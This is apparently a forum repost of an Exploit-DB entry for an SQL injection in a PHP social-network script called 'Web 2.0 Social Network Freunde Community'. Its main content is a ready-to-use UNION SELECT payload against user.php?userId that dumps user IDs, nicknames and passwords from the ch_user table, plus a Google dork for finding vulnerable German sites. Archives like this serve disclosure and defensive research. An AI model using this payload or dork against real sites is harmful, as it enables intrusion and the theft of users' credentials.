Exploit Web 2.0 Social Network Freunde Community - SQL Injection

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
16140
Проверка EDB
  1. Пройдено
Автор
NONAMEMT
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
N/A
Дата публикации
2011-02-09
Код:
# Exploit Title: Web 2.0 Social Network Freunde Community SQL Injection
Vunerability
# Google Dork: inurl:"user.php?userId=" +site:de
# Date: 08.02.2011
# Author: NoNameMT
# Software Link:
http://www.scripteverkauf.com/products/de/neuheiten/web-20-social-network-freunde-community.html
# Version: -
# Price: 79,50 €
# Tested on: Windows 7 Ultimate
# Mail: [email protected]
# Homepage: http://nonamemt.us

# Exploit:
http://localhost/user.php?userId=-496'+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x203a20,id,nickname,password),11,12,13,14+from+ch_user--+

# Greetings:
J0hn.X3r, 4004-security-project.com, TamCore, bursali, theeddy42
 
Источник
www.exploit-db.com

Похожие темы